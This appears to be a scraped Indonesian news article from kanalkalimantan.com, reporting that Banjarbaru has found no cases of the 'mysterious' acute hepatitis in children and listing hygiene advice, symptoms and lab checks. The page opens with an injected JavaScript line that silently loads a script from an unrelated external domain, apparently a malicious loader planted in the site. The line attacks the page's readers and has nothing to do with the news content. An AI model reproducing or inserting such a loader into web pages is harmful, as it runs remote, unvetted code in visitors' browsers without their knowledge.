(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penyakit hepatitis akut “misterius” menginfeksi sejumlah anak di Tanah Air. Belum diketahui pasti musabab hepatitis “misterius” akut tersebut.
Beruntung di Kota Banjarbaru, hingga kini kasus hepatitis “misterius” tersebut belum ditemukan satupun.
Ahli Madya Epidemiolog Kesehatan Dinkes Banjarbaru, Edi Sampana, mengatakan, kalau di Kota Banjarbaru belum ada terdeteksi kasus hepatitis “misterius” tersebut.
“Belum ada,” tegasnya.
Baca juga: Pertamina Pastikan Pasokan BBM Aman, Pasca Kebakaran di Kilang Balikpapan
Kata dia, agar terhindar dari penyakit tersebut dirinya mengimbau kepada masyarakat untuk menerapkan Pola Hidup Bersih dan Sehat (PHBS) dan Banjarbaru harus melakukan penyuluhan.\ Baik itu oleh Puskesmas, Kominfo dan petugas kesehatan lain bahwa penyakit ini kemungkinan disebarkan lewat tertelannya makanan atau minuman yang tercemar.
“Jadi, masyarakat mengerti pentingnya sering mencuci tangan dengan sabun, memastikan makanan dalam keadaan matang dan bersih. Serta, jangan berenang di kolam renang agar tidak bergantian alat makan dengan orang lain, hindari kontak orang sakit,” imbaunya.
Kemudian, menjaga kebersihan rumah dan lingkungan, mengurangi mobilitas, menggunakan masker ketika berpergian, menjaga jarak dengan orang lain, menghindari keramaian dan kerumunan.
Selain itu, Dinkes Banjarbaru telah menyiagakan Puskesmas guna menghadapi kemungkinan adanya temuan kasus hepatitis misterius akut itu. Ia memastikan bahwa semua Fasilitas Pelayanan Kesehatan (Fasyankes) siap untuk melakukan penanganan dini kasus hepatitis akut.
Selain itu, petugas kesehatan harus meningkatkan kewaspadaan dengan deteksi dini kasus, serta curiga hingga melakukan pemeriksaan pada orang bergejala awal.
“Seperti mual, muntah akut, diare berat, malaise (letargi), kehilangan nafsu makan, demam, nyeri pada bagian perut dan arthalgia atau myalgia,” katanya.
Dijelaskan Edi, Puskesmas harus melakukan pemeriksaan laboratorium atau semampunya. Misal dengan reagen Hepatitis A, B, dan C.
Baca juga: Gebrakan India Juara Piala Thomas, Alarm untuk Indonesia dan Kekuatan Tradisional Bulutangkis Dunia
“Pemeriksaan hematologi urine, bilirubin total dan direk. Kalau positif Hepatitis A atau B dan C, berarti pasien itu pasien biasa (bukan pasien hepatitis akut misterius),” terangnya.
Edi bilang, jika Puskesmas tidak mampu melakukan pemeriksaan, pasien segera dirujuk ke fasilitas yang lebih mampu. “Karena penyakit ini lekas menimbulkan kematian kalau terlambat ditangani,” tandasnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.